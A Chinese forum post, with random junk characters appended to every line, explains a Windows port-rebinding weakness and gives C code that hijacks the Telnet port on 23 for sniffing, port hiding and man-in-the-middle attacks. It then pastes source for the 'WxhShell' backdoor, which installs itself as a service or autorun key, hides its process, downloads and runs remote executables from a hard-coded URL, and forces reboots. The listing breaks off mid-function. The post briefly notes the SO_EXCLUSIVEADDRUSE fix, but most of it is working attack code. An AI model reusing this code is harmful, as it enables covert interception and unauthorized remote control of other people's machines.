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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GVEjB;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AFMAgf{bD  
 Nu9mK  
  saddr.sin_family = AF_INET; h ?p^DPo  
H,H'bd/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2@e<II2ha8  
Itz_;+I.Mp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NaVZ)  
+;cw<9%0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Yj0Ss{Ep  
H3a}`3}U  
  这意味着什么?意味着可以进行如下的攻击: U4LOe}Ny  
aNXu"US+Sp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %X[|7D-  
(V e[FhA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =BX<;vU  
xhqIE3gd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7J>n;8{%?  
lZ_i~;u4@v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bcj7.rh]'h  
9.%{M#j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oz[E>%  
Keof{>V=CA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v5<Ext rV  
vhhsOga  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uOW9FAW  
umls=iz  
  #include pOS.`rSK  
  #include ~9'VP }\  
  #include 'iL['4~.  
  #include    l|N1u=Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &p4q# p7,  
  int main() z),l&7  
  { !vett4C* K  
  WORD wVersionRequested; -{L[Wt{1  
  DWORD ret; \>I&UFfH)4  
  WSADATA wsaData; )cOm\^,  
  BOOL val; 9B*SWWAj  
  SOCKADDR_IN saddr; 4H1s"mP<  
  SOCKADDR_IN scaddr; b(~NqV!i  
  int err; 6Ajiz_~U  
  SOCKET s; u4.-AY {  
  SOCKET sc; %C)U F  
  int caddsize; KgKV(q=  
  HANDLE mt; o'D6lkf0  
  DWORD tid;   2V F|T'h  
  wVersionRequested = MAKEWORD( 2, 2 ); y f+/Kj< a  
  err = WSAStartup( wVersionRequested, &wsaData ); ]Fj z+CGg  
  if ( err != 0 ) { 9"<)DS  
  printf("error!WSAStartup failed!\n"); JLg_oK6  
  return -1; S)Ld^0w  
  } wetkmd  
  saddr.sin_family = AF_INET; j4brDlo?@  
   pK$^@~DE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 teM&[U  
0BVMLRB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WJJ!No P  
  saddr.sin_port = htons(23); !_V*VD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ICV67(Ui  
  { ZC0F:=/K  
  printf("error!socket failed!\n"); x$M[/ID0  
  return -1; d~[ >%&  
  } =ohdL_6  
  val = TRUE; 44_n5vp,T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M)3h 4yQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KQr=;O\T  
  { 5(U.<  
  printf("error!setsockopt failed!\n"); \6@}HFH  
  return -1; `CHgTkv  
  } GbZA3.J]yl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lYy0   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]bS\*q0Zf(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !^\|r<2M  
0>.'w\,87B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )EcF[aO  
  { 8K1+ttjm  
  ret=GetLastError(); s'5 jvlG  
  printf("error!bind failed!\n"); rg\|-_.es'  
  return -1; Mb/R+:C`  
  } (D~mmffY1  
  listen(s,2); rfCoi>{<  
  while(1) NGb`f-:jw  
  { Ya,>E@oc  
  caddsize = sizeof(scaddr); 5F0sfX  
  //接受连接请求 &, K;F'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $Y ]*v)}X  
  if(sc!=INVALID_SOCKET) L- =^GNh  
  { cvc.-7IO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'rd{fe_g!  
  if(mt==NULL) | pJ.73  
  { ^TB%| yZ _  
  printf("Thread Creat Failed!\n"); "h)+fAT|,  
  break; )_f "[m%  
  } %=NqxF>>  
  } \WZ00Y,*  
  CloseHandle(mt); O-:~6A  
  } >r{,$)H0  
  closesocket(s); zJ@f {RWZa  
  WSACleanup(); rKR<R(=!=  
  return 0; 2M|jWy_  
  }   r)*KgGsk  
  DWORD WINAPI ClientThread(LPVOID lpParam) >\VZ9bP<   
  { WlG/7$  
  SOCKET ss = (SOCKET)lpParam; Bv/v4(G5g  
  SOCKET sc; znu?x|mV  
  unsigned char buf[4096]; Ba@UX(t  
  SOCKADDR_IN saddr; TNiF l hq  
  long num; ,!Ah+x  
  DWORD val; <4Ujk8Zj  
  DWORD ret; m#8mU,7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V_Y SYG9f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9/Q5(P  
  saddr.sin_family = AF_INET; 'm-s8]-W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iiO4.@nT  
  saddr.sin_port = htons(23); w' U;b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |%TH|?kB  
  { 5w{_WR6,  
  printf("error!socket failed!\n"); 'fZHtnmc0  
  return -1; +}*]9nG  
  } "y5c)l(Rg  
  val = 100; `_z8DA}E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B \[P/AC  
  { C+2*m=r  
  ret = GetLastError(); 3<?(1kSo>>  
  return -1; l$.C40v  
  } {fk'g(E8([  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r=s2wjk  
  { }0qgvw  
  ret = GetLastError(); Q- j+#NGc  
  return -1; 8+ Hho@=  
  } VxaJ[s3PQ&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DTgF,c  
  { K]Ed-Tz8QZ  
  printf("error!socket connect failed!\n"); s6!aGZ  
  closesocket(sc); }&EPH}V2n  
  closesocket(ss); F8/4PB8-  
  return -1; M0n@?S  
  } Smg,1,=  
  while(1)  xUzfBn  
  { {n2jAR9nq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0FHN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i>>_S&!9p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A"i40 @+  
  num = recv(ss,buf,4096,0); XeJx/'9o{  
  if(num>0) "J7=3$CA  
  send(sc,buf,num,0); ZShRE"`  
  else if(num==0) t"JfqD E  
  break; yj"+!g  
  num = recv(sc,buf,4096,0); 8@Y]dz gjj  
  if(num>0) `3\5&Bf  
  send(ss,buf,num,0); |*jnJWH4:  
  else if(num==0) ~ b\bpu  
  break; ,Q2`N{f  
  } RE7 I"  
  closesocket(ss); #!C/~"Y*`|  
  closesocket(sc); 2NqlE  
  return 0 ; kf.w:X"i  
  } - =QA{n  
->$Do$  
SU Hyg/|F  
========================================================== gQ/-.1Pz$  
)t&j0`Yq  
下边附上一个代码,,WXhSHELL $oe:km1-D  
`epO/Uu\~u  
========================================================== ( *UMpdj  
6# ,2  
#include "stdafx.h" c$bb0J%  
45q-x_  
#include <stdio.h> b&s"x? 7  
#include <string.h> Wyw/imr  
#include <windows.h> D$!(Iae  
#include <winsock2.h> VuPa '2  
#include <winsvc.h> 34&n { xv  
#include <urlmon.h> +{4ziqYj  
$5s?m\!jZz  
#pragma comment (lib, "Ws2_32.lib") 0,E*9y}  
#pragma comment (lib, "urlmon.lib") LoqS45-)  
xW!2[.O5H  
#define MAX_USER   100 // 最大客户端连接数 UuzT*Y>  
#define BUF_SOCK   200 // sock buffer Ae;> @k/|=  
#define KEY_BUFF   255 // 输入 buffer N>xs@_"o  
tNG0ft%a  
#define REBOOT     0   // 重启 $wub)^  
#define SHUTDOWN   1   // 关机 Nu<M~/  
nV@k}IJg:?  
#define DEF_PORT   5000 // 监听端口 ezgP\ct  
][I}yOD70  
#define REG_LEN     16   // 注册表键长度 G;>b}\Ng  
#define SVC_LEN     80   // NT服务名长度 9jCn|+  
&r;-=ASYzV  
// 从dll定义API TW7jp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q`{crY30  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oGu-:X=`9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4D0=3Vy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 48Vmz  
Q+ $+{g-8  
// wxhshell配置信息 _ 2R;@[f2  
struct WSCFG { ~$Xz~#~  
  int ws_port;         // 监听端口 OB.TAoH:  
  char ws_passstr[REG_LEN]; // 口令 XFUlV;ek  
  int ws_autoins;       // 安装标记, 1=yes 0=no T/X[q7O~~4  
  char ws_regname[REG_LEN]; // 注册表键名 T;-&3  
  char ws_svcname[REG_LEN]; // 服务名 i<m1^a#C'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZQlja  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rB}Iwp8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Lf4c[[@%gd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [z'PdYQR/{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wi|'pKG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]N!8U_U3  
-iLp3m<ai  
}; -hZlFAZi  
9nu!|reS  
// default Wxhshell configuration #/=s74.b  
struct WSCFG wscfg={DEF_PORT, V\5ZRLawP  
    "xuhuanlingzhe", @A GM=v  
    1, *I:^g  
    "Wxhshell", \Z{6j&;  
    "Wxhshell", \7 n ;c   
            "WxhShell Service", [AstD9  
    "Wrsky Windows CmdShell Service", :70[zo7n'  
    "Please Input Your Password: ", VJ8cls<  
  1, [K1RP.  
  "http://www.wrsky.com/wxhshell.exe", =]X_wA;%  
  "Wxhshell.exe" ]|KOc& y:I  
    }; zy^t95/m  
ecfw[4B`  
// 消息定义模块 G~b/!clN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i|?EgGFG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,UNCBnv1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FZf{kWH  
char *msg_ws_ext="\n\rExit."; dT?/9JIv  
char *msg_ws_end="\n\rQuit."; efW<  
char *msg_ws_boot="\n\rReboot..."; 5 Sm9m*/  
char *msg_ws_poff="\n\rShutdown..."; D"UCe7  
char *msg_ws_down="\n\rSave to "; [CTE"@A  
2#%@j6  
char *msg_ws_err="\n\rErr!"; >1q W*  
char *msg_ws_ok="\n\rOK!"; 'M8wjU  
xn|M]E1)  
char ExeFile[MAX_PATH]; "ld4v+o8l  
int nUser = 0; 9ozN$:  
HANDLE handles[MAX_USER]; G0 *>S`:4  
int OsIsNt; _=!R l#  
j N":9+F  
SERVICE_STATUS       serviceStatus; hA 1_zKZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !6.}{6b  
}rK9M$2]u  
// 函数声明 U?]}K S;6  
int Install(void); Y<0}z>^  
int Uninstall(void); mu`:@7+Yp  
int DownloadFile(char *sURL, SOCKET wsh); H%y!lR{c^D  
int Boot(int flag); <vS3 [(  
void HideProc(void); {HoeK>rd  
int GetOsVer(void); YytO*^e}}  
int Wxhshell(SOCKET wsl); m/TjXA8_  
void TalkWithClient(void *cs); LGu K@^  
int CmdShell(SOCKET sock); m ioNMDG  
int StartFromService(void); rnX D(  
int StartWxhshell(LPSTR lpCmdLine); s9^r[l@W0U  
Ix~_.&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SWwL.-+E]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9vX~gh{]~  
$D&N^}alW  
// 数据结构和表定义 A:Y ([  
SERVICE_TABLE_ENTRY DispatchTable[] = XM?>#^nC?u  
{ P?WS=w*O0  
{wscfg.ws_svcname, NTServiceMain}, FLf< gz  
{NULL, NULL} A<$~Q;r2a  
}; &=ZVU\o:  
)w/ #T  
// 自我安装 3(&f!<Uy  
int Install(void) "wqN,}bj\  
{ Uphme8SX  
  char svExeFile[MAX_PATH]; ': fq/k3;&  
  HKEY key; VDy2 !0  
  strcpy(svExeFile,ExeFile); Kd,8PV*_  
y@GqAN'DK[  
// 如果是win9x系统,修改注册表设为自启动 L?h'^*F H}  
if(!OsIsNt) { MuI>ZoNF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #^FDG1=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Q6qIx=c4  
  RegCloseKey(key); {"e)Jj_=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4zo^ b0v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +q<G%PwbV  
  RegCloseKey(key); E]@$,)nC  
  return 0; RV@'$`Q  
    } ,76xa%k(U|  
  } H<N$z 3k  
} 9szUN;:ZZ  
else { `|rF^~6(dR  
Sao4MkSz[]  
// 如果是NT以上系统,安装为系统服务 (Mzv"FN]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $tm%=g^  
if (schSCManager!=0) @}{lp'8FYi  
{ l4O&*,}l##  
  SC_HANDLE schService = CreateService ^mp#7OL  
  ( kMS&"/z  
  schSCManager, M_BG :P5  
  wscfg.ws_svcname, O %m\ Q1  
  wscfg.ws_svcdisp, "39\@Ow  
  SERVICE_ALL_ACCESS, AT{rg/oSf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >v?&&FhHK<  
  SERVICE_AUTO_START, nXRT%[o&  
  SERVICE_ERROR_NORMAL, \5 S^~(iL  
  svExeFile, arWP]%E0W  
  NULL, s^\ *jZ6  
  NULL, Q%T[&A}3B  
  NULL, NpPuh9e{  
  NULL, j-$F@p_2F  
  NULL #];b+ T  
  ); XK+" x!   
  if (schService!=0) Vd&&GI(:?^  
  { Z~S%|{&Br  
  CloseServiceHandle(schService); +`RQ ^9  
  CloseServiceHandle(schSCManager); 3u,CI!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _Jt  
  strcat(svExeFile,wscfg.ws_svcname); ?zP/i(1y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ea,L04K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -xVp}RLT  
  RegCloseKey(key); -Z(='A  
  return 0; z?3t^UPW  
    } :HiAjaA1pg  
  } 9\ulS2d  
  CloseServiceHandle(schSCManager); d!P3<:+R[  
} 7ciSIJ  
} ;}>g/lw  
 Gv(?u  
return 1; P Y&(ObC  
} iVSN>APe  
UE\Z] t!  
// 自我卸载 RW4,j&)  
int Uninstall(void) d8C44q+ds  
{ ^!v{ >3  
  HKEY key; oE.59dx  
a #`Y(R'  
if(!OsIsNt) { '_~qAx@F#c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "h`oT4j5q  
  RegDeleteValue(key,wscfg.ws_regname); Kj{(jT  
  RegCloseKey(key); xQ0.2[*5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YQ-!>3/)-  
  RegDeleteValue(key,wscfg.ws_regname); )W,.xP  
  RegCloseKey(key); [:BD9V  
  return 0; cF V[k'F  
  } +Y! P VMF  
} Wc HL:38  
} y>! 8mDvZ  
else { Rp0`%}2 o  
asc Y E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,j!%,!n o  
if (schSCManager!=0) 2{}8_G   
{ 5._1G| 3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xO_u  
  if (schService!=0) uvMc B9  
  { ZJf:a}=h  
  if(DeleteService(schService)!=0) { AW <"3 !@  
  CloseServiceHandle(schService); ZBuh(be  
  CloseServiceHandle(schSCManager); :9~LYJ ?  
  return 0; E' _6v  
  } `i5\(cdl  
  CloseServiceHandle(schService); =n ff;Xu  
  } ss0`9:z  
  CloseServiceHandle(schSCManager); X#Sgf|$  
} 0&$,?CL?  
} I83 _x|$FZ  
5< $8.a#  
return 1; M* 0zvNg  
} HT%'dZ1  
OpD%lRl  
// 从指定url下载文件 p#aB0H3  
int DownloadFile(char *sURL, SOCKET wsh) zL!}YR@&u"  
{ Z{}+7P  
  HRESULT hr; evvv&$&  
char seps[]= "/"; s+<`iH9Hm  
char *token; xOt {Vsv  
char *file; %'w?fqk  
char myURL[MAX_PATH]; 3C gmZ7[  
char myFILE[MAX_PATH]; ty\F~]Oo  
.%G>z"Xx  
strcpy(myURL,sURL); SpC6dkxD\  
  token=strtok(myURL,seps); [/Sk+ID  
  while(token!=NULL) $W;f9k@C!  
  { %7hf6Xo=  
    file=token; ,<s/K  
  token=strtok(NULL,seps); ( yK@(euG  
  } t2LX@Q"  
I~F]e|Ehqr  
GetCurrentDirectory(MAX_PATH,myFILE); Ay@/{RZz  
strcat(myFILE, "\\"); 83!{?EPE  
strcat(myFILE, file); - !QVM\t  
  send(wsh,myFILE,strlen(myFILE),0); ;DgQ8"f  
send(wsh,"...",3,0); =Cc]ugl7-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7e:eL5f>~  
  if(hr==S_OK) _;mA(j  
return 0; zQ#2BOx1  
else +z|@K=d#|  
return 1; qM18 Ji*  
#b9V&/ln  
} ;_ S D W  
yu}yON  
// 系统电源模块 =p2: qSV  
int Boot(int flag) cV4]Y(9  
{ 3gv@JGt7`  
  HANDLE hToken; Yb\d(k$h  
  TOKEN_PRIVILEGES tkp; :/R>0n,  
t{-*@8Ke  
  if(OsIsNt) { : G'a"%x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Le V";=_n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7/zaf  
    tkp.PrivilegeCount = 1; @TJ2 |_s6]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8?N![D\@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QlMv_|`9  
if(flag==REBOOT) { K=1prv2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WH_ W:  
  return 0; i ?%_P u  
} watTV\b  
else { Vg~10Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '{w[).c.  
  return 0; 9]vy#a#  
} ^'p!#\T;H  
  } zF@[S  
  else { M#k$[w}=  
if(flag==REBOOT) { xW|8-q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4\E1M[6  
  return 0; u'T?e+=  
} 4_-L1WH  
else { /?NfU.+K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RiZ)#0  
  return 0; 22/"0=2g  
} c_T+T/O  
} DQ@M?~1hp  
EXsVZg"#  
return 1; 'cqY-64CJZ  
} SLz;5%CPV  
&2nICAN[  
// win9x进程隐藏模块 PqMu2 e  
void HideProc(void) wf_ $#.;m  
{ ;` h$xB(  
udS&$/&GH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y&V%xE/  
  if ( hKernel != NULL ) +4+c zfz  
  { i9|}-5ED  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m.FN ttkM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %~:@}C%A  
    FreeLibrary(hKernel); 9iV9q]($0  
  } n lZJ}xZ  
P%;lHC #i  
return; RivhEc1h%  
} 5me#/NqLHY  
>sZ_I?YDs  
// 获取操作系统版本 FX!Qd&kl1  
int GetOsVer(void) 1vYa&!  
{ 9g|99Z  
  OSVERSIONINFO winfo; }USOWsLSt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DVt^O [  
  GetVersionEx(&winfo); D`fIw` _  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _>bk'V7  
  return 1; TK0WfWch  
  else 7m%[$X`  
  return 0; BMtk/r/  
} &dPI<HlM  
N85ZbmU~  
// 客户端句柄模块 6n|][! f  
int Wxhshell(SOCKET wsl) _S,UpR~2W  
{ [_`@ V4  
  SOCKET wsh; k;K-6<^h  
  struct sockaddr_in client; 0+k..l  
  DWORD myID; C~WWuju'  
A-, hm=?  
  while(nUser<MAX_USER) =b8u8*ua  
{ B.!&z-)#  
  int nSize=sizeof(client); c D .;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jZH4]^De  
  if(wsh==INVALID_SOCKET) return 1; uqD|j:~ =k  
s@E) =;!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nvA7eTO6C  
if(handles[nUser]==0) #.vp \W  
  closesocket(wsh); QX42^]({;c  
else D< kf/hj  
  nUser++; WM%w_,Z  
  } ~Kl"V% >  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &- !$qUli  
BSy{"K*M  
  return 0; }=JS d@`_  
} M& )yr^  
hUX8j9N>  
// 关闭 socket omznSL  
void CloseIt(SOCKET wsh) 7VskZbj\  
{ ^*+j7A.n  
closesocket(wsh); 8kC$Z)  
nUser--; 4`Zo Ar-5|  
ExitThread(0); ?B@3A)a  
} t 1~k+  
,tDLpnB@;  
// 客户端请求句柄 pMY7{z  
void TalkWithClient(void *cs) DliDBArxZ  
{ aHb&+/HZ  
IwOL1\'T4  
  SOCKET wsh=(SOCKET)cs; (N/-blto  
  char pwd[SVC_LEN]; x iz+ R9p  
  char cmd[KEY_BUFF]; BS?i!Bm7  
char chr[1]; 6pt|Crvu  
int i,j; R+!oPWfb  
Y; iI =U  
  while (nUser < MAX_USER) { ] _W'-B  
B.KK@  
if(wscfg.ws_passstr) { 4>2\{0r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O9m sPb:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zo("v*d*q  
  //ZeroMemory(pwd,KEY_BUFF); I[b{*g2Zw  
      i=0; F/,6Jh  
  while(i<SVC_LEN) { ^6Zx-Mf\  
wp'[AR}  
  // 设置超时 lHPnAaue@  
  fd_set FdRead; yE.st9m  
  struct timeval TimeOut; -[&Z{1A4x4  
  FD_ZERO(&FdRead); gI9nxy  
  FD_SET(wsh,&FdRead); 8k)*f+1o  
  TimeOut.tv_sec=8; ,1cpV|mAr  
  TimeOut.tv_usec=0; Y]Z&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  deq5u>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6)W8HX~+  
wkx#WC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0LYf0^P  
  pwd=chr[0]; +t&+f7  
  if(chr[0]==0xd || chr[0]==0xa) { Z [l+{  
  pwd=0; c}|} o^  
  break; .3jijc j  
  } e@]m@  
  i++; &y7=tEV  
    } Q@8(e&{#W  
+>AVxV=A#  
  // 如果是非法用户,关闭 socket K>5 bb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &x=_n'  
} _/"e'@z  
F>^KXq:Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t:P7ah  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f="ZplW  
E{QjmlXQ<  
while(1) { +]GP"yv-  
OoRg:"9{#  
  ZeroMemory(cmd,KEY_BUFF); he@Y1CY  
<%W&xk  
      // 自动支持客户端 telnet标准   S,ud pQ7  
  j=0; SUIu.4Mz  
  while(j<KEY_BUFF) { O_GHvLO=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >wL!`:c'"  
  cmd[j]=chr[0]; "=KFag  
  if(chr[0]==0xa || chr[0]==0xd) { 9YB?wh'S[  
  cmd[j]=0; t-n'I/^5  
  break; Nf2lw]-G4  
  } 7xY&7 x(v  
  j++; dd;rne v+  
    } t;0]d7ey'  
1|s` z  
  // 下载文件 0v6Z 4Ahpo  
  if(strstr(cmd,"http://")) { $ %|b6Gr/&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;CoD5F!  
  if(DownloadFile(cmd,wsh)) t/%[U,m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  _VM}]A  
  else H3pZfdh?w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g;OR{  
  } 44t;#6p@%>  
  else { \VI0/G)L  
lp5'-Jo  
    switch(cmd[0]) { k^cnNx  
  O'xp"e,  
  // 帮助 =3rf}bl2  
  case '?': { ?)-anoFyVW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?' mP`9I  
    break; W5()A,R  
  } f_;tFP B  
  // 安装 rf 60'   
  case 'i': { {zc*yV\  
    if(Install()) 0F6@aQ\y3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Q@(<'8=  
    else ftRdK>a D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Lb(N61  
    break; BeD>y@ it  
    } L_+ Fin  
  // 卸载 nB[B FVkU  
  case 'r': { 0S }\ML  
    if(Uninstall()) cG3tn&AXi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 09 f;z  
    else MSp) Jc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F x$W3FIO]  
    break; YACx9K H  
    } blP8"(U  
  // 显示 wxhshell 所在路径 NXz/1ut%  
  case 'p': {  BPKrRex  
    char svExeFile[MAX_PATH]; gxe u2 HG  
    strcpy(svExeFile,"\n\r"); nE0I[T(  
      strcat(svExeFile,ExeFile); :uqEGnEut  
        send(wsh,svExeFile,strlen(svExeFile),0); %U .x9UL  
    break; Jy[rA<x$  
    } P1]F0fR  
  // 重启 $]W*;MTI}  
  case 'b': { a3z_o)"   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J-G)mvkv  
    if(Boot(REBOOT)) cg_tJ^vrY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^vzXT>t-M  
    else { [Z;H= `  
    closesocket(wsh); ;<6S\  
    ExitThread(0); >}C:EnECy  
    } 1N { >00  
    break; h+cOOm-)  
